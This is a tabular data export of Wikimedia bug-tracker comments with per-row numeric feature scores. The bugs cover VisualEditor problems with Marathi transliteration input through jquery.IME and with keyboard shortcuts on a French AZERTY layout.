1. Go to http://mr.wikipedia.org/wiki/%E0%A4%85%E0%A4%AB%E0%A4%97%E0%A4%BE%E0%A4%A3%E0%A4%BF%E0%A4%B8%E0%A5%8D%E0%A4%A4%E0%A4%BE%E0%A4%A8
2. make sure to be logged in
3. Go to माझ्या पसंती (Preferences), संपादन and enable last option: यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this enables VisualEditor
4. Click cog next to इतर भाषांमध्ये
5. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण
6. Click संपादन (Edit)
7. Make sure that URL ends with &veaction=edit
8. Type

Results are weird under Firefox 23.0.1 and Fedora 19 (new lines inserted etc), but typing is not always backwards.",,,1378212107,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fzc2bascptcvyjvfz6iv,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.5,1.0,4.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,4.0,6.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,9.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,13.0,0.5,2.5,1.5,0.0,0.0,0.0,0.0,6.5,0.0,6.0,0.0,0.5,6.5,9.0,0.5,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.5,3.5183229813664596,0.7842650103519668,"[Not a blocker, see URL ]

QUOTE

Which Firefox version?


What I tried:
1. Go to URL
2. make sure to be logged in
3. Go to माझ्या पसंती (Preferences), संपादन and enable last option: यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this enables VisualEditor
4. Click cog next to इतर भाषांमध्ये
5. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण
6. Click संपादन (Edit)
7. Make sure that URL ends with &veaction=edit
8. Type

Results are weird under Firefox 23.0.1 and Fedora 19 (new lines inserted etc), but typing is not always backwards."
55700,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","*VisualEditor+ULS Method of input = अक्षरांतरण language=Marathi  Script=Devanagari  (Non-VE source edit environ,ULS Method of input = अक्षरांतरण works normal 	

*Tested Browser and OS =Firefox+Win7

*Problem description = No other text on a page> Type a word + space bar = eliminates typed text imidiately

**additional details = If some text is already there on the page or we copy paste then we can give the space bar with less frequency of this problem.


*Screen shot or Difference of edit if available = Can not create the screen shot/or edit diff


Thanks and Regards

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49569
https://bugzilla.wikimedia.org/show_bug.cgi?id=53706",Medium,50.0,1378207380,1453749441.0,PHID-USER-azy72hrp3tpetr52aob6,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-3e25u2t2rvump3xhzmpi,task_description,resolved,True,c1,3,False,False,False,9,,0.5,0.0,0.0,0.0,0.5,4.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,3.5,5.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,3.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.5,16.0,1.0,3.5,4.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.5,5.5,12.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,1.0,3.8466666666666667,0.6733333333333333,"*VisualEditor+ULS Method of input = अक्षरांतरण language=Marathi  Script=Devanagari  (Non-VE source edit environ,ULS Method of input = अक्षरांतरण works normal 	

*Tested Browser and OS =Firefox+Win7

*Problem description = No other text on a page> Type a word + space bar = eliminates typed text imidiately

**additional details = If some text is already there on the page or we copy paste then we can give the space bar with less frequency of this problem.


*Screen shot or Difference of edit if available = Can not create the screen shot/or edit diff


Thanks and Regards

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL
URL"
596674,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749416,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,True,,,134,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.035714285714286,0.8928571428571429,"As of URL in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow."
234268,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","Not just Marathi/Devanagari specific, apparently it's a general problem with jquery.IME in VE.",,,1381270732,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.1,0.95,"Not just Marathi/Devanagari specific, apparently it's a general problem with jquery.IME in VE."
234263,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately",*** Bug 54960 has been marked as a duplicate of this bug. ***,,,1381270703,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54960 has been marked as a duplicate of this bug. ***
234258,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","(In reply to comment #6)
> (In reply to comment #4)
> > I tested on  mr wiki
> 
> As comment 3 said, it's available on ***mediawiki.org***, not mr wiki (yet).
> mediawiki.org is where to test it.

Confirming this is not fixed.

System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

Test URL:
https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit

Steps to reproduce:
Enable ULS IME mr transliteration (labelled अक्षरांतरण)
Blank the page (and reset formatting to simple paragraph, i.e remove bulleted list formatting)

Input 1:
agar[SPACE]

Output 1:
[SPACE]

Expected Output (as seen in the old editor):
अगर्[SPACE]

Input 2:
kyaa[SPACE]

Output 2:
[SPACE]

Expected Output (as seen in the old editor):
क्या[SPACE]",,,1379504653,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.5,0.5,3.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,1.5,0.5,5.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,3.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,2.0,0.5,18.0,0.0,0.5,2.5,0.0,0.0,0.0,0.5,3.0,0.0,4.5,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,4.5,3.5220588235294117,0.5735294117647058,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Confirming this is not fixed.

System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

Test URL:
URL

Steps to reproduce:
Enable ULS IME mr transliteration (labelled अक्षरांतरण)
Blank the page (and reset formatting to simple paragraph, i.e remove bulleted list formatting)

Input 1:
agar[SPACE]

Output 1:
[SPACE]

Expected Output (as seen in the old editor):
अगर्[SPACE]

Input 2:
kyaa[SPACE]

Output 2:
[SPACE]

Expected Output (as seen in the old editor):
क्या[SPACE]"
234254,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","(In reply to comment #4)
> I tested on  mr wiki

As comment 3 said, it's available on ***mediawiki.org***, not mr wiki (yet). mediawiki.org is where to test it.",,,1379323479,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,7.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.9047619047619047,0.6904761904761905,"(In reply to comment #4)
QUOTE

As comment 3 said, it's available on ***mediawiki.org***, not mr wiki (yet). mediawiki.org is where to test it."
234250,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","(In reply to comment #4)

Hello, gave one more try during a live edit correction, result no success.

*On mr wikipedia page was https://mr.wikipedia.org/wiki/नारायण_श्रीपाद_राजहंस  

*During the last edit diff https://mr.wikipedia.org/w/index.php?title=नारायण_श्रीपाद_राजहंस&diff=1198688&oldid=1184350 one new user has removed  section heading to word जीवन  

*I took corrective editing target to type Marathi word व्यक्तीगत (by using VE+ULS method ) before word जीवन   so it will be a two word section heading  ==व्यक्तीगत जीवन==
** Sentence to be edited जीवन नारायण श्रीपाद राजहंस यांचा जन्म जून २६, इ.स. १८८८ रोजी जिल्ह्यातील पलुस तालुक्यात नागठाणे या गावी झाला.


Steps tried

*Visit Marathi language wikipedia
*Enable visual editor from preferences [[Special:Preferences#mw-prefsection-editing]]
* page https://mr.wikipedia.org/wiki/नारायण_श्रीपाद_राजहंस


* Clicked संपादन that is edit (Visual Editor's)

* Sentence appeared  जीवन ↵नारायण श्रीपाद राजहंस यांचा जन्म जून २६, इ.स. १८८८ रोजी जिल्ह्यातील पलुस तालुक्यात नागठाणे या गावी झाला. 

* Display language Marathi For Input method selected ULS> 1)अक्षरांतरण (transliteration)

*Clicked Enter after word जीवन  since rest of line needs to be in paragraph portion

*Took cursor before word जीवन  

* To transliterate Typed keys from key board 'vyaktigata >> अक्षरांतरण transliteration transliterated to>> व्यक्तिगत transliteration was success.

* Then 'Pressed space bar' the result was word 'व्यक्तिगत' disappeared.


* Repeated above with different ULS input method  ULS> 2) इनस्क्रिप्ट (Inscript)

** To transliterate typed keys  bd/kdlfil transliterated to>> व्यक्तिगत transliteration was success.

** Then 'Pressed space bar' the result was word 'व्यक्तिगत' disappeared.

Windows 7 + tried two browsers Firefox (version mentioned earlier) and Google Chrome (is up to date Version 29.0.1547.66 m)  The results were failure.


(VE+windows native Input method इनस्क्रिप्ट 'in script' worked successfully to type word  व्यक्तिगत + space bar was success.) 

We still wait and look forward to VE +ULS success. Best wishes for the same 

Rgds",,,1379248005,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.2,0.0,3.6,0.6,0.0,0.0,0.0,0.6,2.4,0.0,0.0,0.0,0.4,0.0,1.6,6.8,0.0,1.4,0.0,0.2,0.2,3.6,0.2,0.0,0.2,0.0,0.2,0.4,1.8,0.0,0.2,0.8,0.0,0.2,0.0,0.0,0.0,0.2,0.0,0.2,2.0,0.0,0.0,0.0,0.2,0.0,16.2,0.0,0.0,0.0,0.2,0.0,0.4,0.0,0.2,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.2,0.0,1.4,2.6,11.2,0.4,1.0,2.2,0.0,0.0,0.0,0.2,2.2,0.0,2.8,0.0,0.6,6.8,12.6,0.0,2.4,0.0,0.6,0.0,0.2,0.4,0.0,0.6,0.4,0.2,2.4,4.070277777777777,0.7414197530864198,"(In reply to comment #4)

Hello, gave one more try during a live edit correction, result no success.

*On mr wikipedia page was URL  

*During the last edit diff URL one new user has removed  section heading to word जीवन  

*I took corrective editing target to type Marathi word व्यक्तीगत (by using VE+ULS method ) before word जीवन   so it will be a two word section heading  ==व्यक्तीगत जीवन==
** Sentence to be edited जीवन नारायण श्रीपाद राजहंस यांचा जन्म जून २६, इ.स. १८८८ रोजी जिल्ह्यातील पलुस तालुक्यात नागठाणे या गावी झाला.


Steps tried

*Visit Marathi language wikipedia
*Enable visual editor from preferences [[Special:Preferences#mw-prefsection-editing]]
* page URL


* Clicked संपादन that is edit (Visual Editor's)

* Sentence appeared  जीवन ↵नारायण श्रीपाद राजहंस यांचा जन्म जून २६, इ.स. १८८८ रोजी जिल्ह्यातील पलुस तालुक्यात नागठाणे या गावी झाला. 

* Display language Marathi For Input method selected ULS> 1)अक्षरांतरण (transliteration)

*Clicked Enter after word जीवन  since rest of line needs to be in paragraph portion

*Took cursor before word जीवन  

* To transliterate Typed keys from key board 'vyaktigata >> अक्षरांतरण transliteration transliterated to>> व्यक्तिगत transliteration was success.

* Then 'Pressed space bar' the result was word 'व्यक्तिगत' disappeared.


* Repeated above with different ULS input method  ULS> 2) इनस्क्रिप्ट (Inscript)

** To transliterate typed keys  bd/kdlfil transliterated to>> व्यक्तिगत transliteration was success.

** Then 'Pressed space bar' the result was word 'व्यक्तिगत' disappeared.

Windows 7 + tried two browsers Firefox (version mentioned earlier) and Google Chrome (is up to date Version 29.0.1547.66 m)  The results were failure.


(VE+windows native Input method इनस्क्रिप्ट 'in script' worked successfully to type word  व्यक्तिगत + space bar was success.) 

We still wait and look forward to VE +ULS success. Best wishes for the same 

Rgds"
234245,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","Hello,

This is 14th Sept 18.52 pm Indian standard time. I tested on  mr wiki couple of pages and tested on en wiki my own user space . To me problem is as is and not resolved.


Thanks and best wished for your continued effort


Rgds",,,1379165121,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,13.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.6226415094339623,0.8113207547169812,"Hello,

This is 14th Sept 18.52 pm Indian standard time. I tested on  mr wiki couple of pages and tested on en wiki my own user space . To me problem is as is and not resolved.


Thanks and best wished for your continued effort


Rgds"
234240,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378942971,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
234233,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately",Possible duplicate: Bug 53705,,,1378228533,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,Possible duplicate: Bug 53705
234226,"VisualEditor: When using jquery.IME, type a word and press space bar = eliminates typed text immediately","[Not a blocker, see http://www.mediawiki.org/wiki/Bugzilla/Fields#Severity ]

Confirming for Firefox 23.0.1 and Fedora 19.

Steps to reproduce:
1. Go to non existing page like https://mr.wikipedia.org/w/index.php?title=%E0%A4%85%E0%A4%AB%E0%A4%97%E0%A4%BE
2. make sure to be logged in
3. Go to माझ्या पसंती (Preferences), संपादन and enable last option: यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this enables VisualEditor
4. Click cog next to इतर भाषांमध्ये
5. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण
6. Click तयार करा (Create page)
7. Make sure that URL ends with &veaction=edit
8. Type a word and press spacebar.",,,1378212092,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3e25u2t2rvump3xhzmpi,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,0.5,0.5,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,7.5,0.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,11.0,1.0,2.5,2.0,0.0,0.0,0.0,0.0,7.5,0.0,6.0,0.0,0.0,7.5,10.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,1.0,3.5268028846153845,0.7597355769230769,"[Not a blocker, see URL ]

Confirming for Firefox 23.0.1 and Fedora 19.

Steps to reproduce:
1. Go to non existing page like URL
2. make sure to be logged in
3. Go to माझ्या पसंती (Preferences), संपादन and enable last option: यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this enables VisualEditor
4. Click cog next to इतर भाषांमध्ये
5. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण
6. Click तयार करा (Create page)
7. Make sure that URL ends with &veaction=edit
8. Type a word and press spacebar."
55682,"VisualEditor: Trigger keys can end up in CE surface, but not in DM","A user reported a problem to use the ""clear formatting"" shortcut with a french AZERTY keyboard. The shortcut is ""Ctrl + \"", but ""\"" is only accessible as ""AltGr + 8"".

First, even with, ""Ctrl + AltGr + 8"", the shortcut doesn't work. I was unable to find a keyboard combination that triggers the ""clear formatting"" shortcut. When using a classic QWERTY keyboard, ""Ctrl + \"" works on the same computer/browser.
See https://bugzilla.wikimedia.org/show_bug.cgi?id=51507

But, when testing, I noticed an other problem, with a behaviour depending on OS/browser when using ""Ctrl + AltGr + 8"" with text selected:
* On W7 + Chrome 29, the selected text is replaced by ""\"", but VE doesn't see any modification: save is disabled, undo is disabled, ...
* On W7 + Firefox 23, the selected text is replaced by ""\"", and VE sees that text has been modified
* On Ubuntu 12.04 LTS + Firefox 20, a user report that all page is selected.

Same kind of problems happen with ""Ctrl + Alt + 8"", ""Alt + 8"", ... or other digits.

https://fr.wikipedia.org/w/index.php?title=Wikipédia:ÉditeurVisuel/Avis#Raccourci_clavier_pour_effacer_la_mise_en_forme

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51507",Medium,50.0,1378132560,1449101621.0,PHID-USER-o34e5i3eq4nstbvcf26w,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-kxbkw2kfnhnvqihjlumu,task_description,resolved,True,c1,3,False,False,False,9,,0.6666666666666666,0.0,0.0,1.6666666666666667,0.6666666666666666,4.333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,3.0,6.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,5.0,2.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,13.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,5.0,3.0,14.333333333333334,1.3333333333333333,6.0,6.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,3.3333333333333335,0.0,0.6666666666666666,6.0,6.666666666666667,0.0,8.333333333333334,0.0,0.6666666666666666,0.0,1.3333333333333333,2.6666666666666665,0.0,1.0,0.0,0.0,0.0,3.2356125356125354,0.5759055759055759,"A user reported a problem to use the ""clear formatting"" shortcut with a french AZERTY keyboard. The shortcut is ""Ctrl + \"", but ""\"" is only accessible as ""AltGr + 8"".

First, even with, ""Ctrl + AltGr + 8"", the shortcut doesn't work. I was unable to find a keyboard combination that triggers the ""clear formatting"" shortcut. When using a classic QWERTY keyboard, ""Ctrl + \"" works on the same computer/browser.
See URL

But, when testing, I noticed an other problem, with a behaviour depending on OS/browser when using ""Ctrl + AltGr + 8"" with text selected:
* On W7 + Chrome 29, the selected text is replaced by ""\"", but VE doesn't see any modification: save is disabled, undo is disabled, ...
* On W7 + Firefox 23, the selected text is replaced by ""\"", and VE sees that text has been modified
* On Ubuntu 12.04 LTS + Firefox 20, a user report that all page is selected.

Same kind of problems happen with ""Ctrl + Alt + 8"", ""Alt + 8"", ... or other digits.

URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
571630,"VisualEditor: Trigger keys can end up in CE surface, but not in DM","Actually I think this was already fixed before Change 247800: On Ubuntu 15.10 with French keyboard, Alt+8 into a non-collapsed selection seems to overwrite the selection with \ in both the DOM and the DM, in both Firefox 42 and Chromium 45.",,,1449084298,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-kxbkw2kfnhnvqihjlumu,task_subcomment,,True,c1,3,False,,,126,,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,17.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,23.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,2.0,17.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.145833333333333,0.8333333333333334,"Actually I think this was already fixed before Change 247800: On Ubuntu 15.10 with French keyboard, Alt+8 into a non-collapsed selection seems to overwrite the selection with \ in both the DOM and the DM, in both Firefox 42 and Chromium 45."
571609,"VisualEditor: Trigger keys can end up in CE surface, but not in DM","Change 247800 had a related patch set uploaded (by Divec):
Diff richtext to build model changes

[[https://gerrit.wikimedia.org/r/247800]]
",,,1449082903,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kxbkw2kfnhnvqihjlumu,task_subcomment,,True,c1,3,False,,,126,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.769230769230769,0.8846153846153846,"Change 247800 had a related patch set uploaded (by Divec):
Diff richtext to build model changes

[[GERRIT_URL]]
"
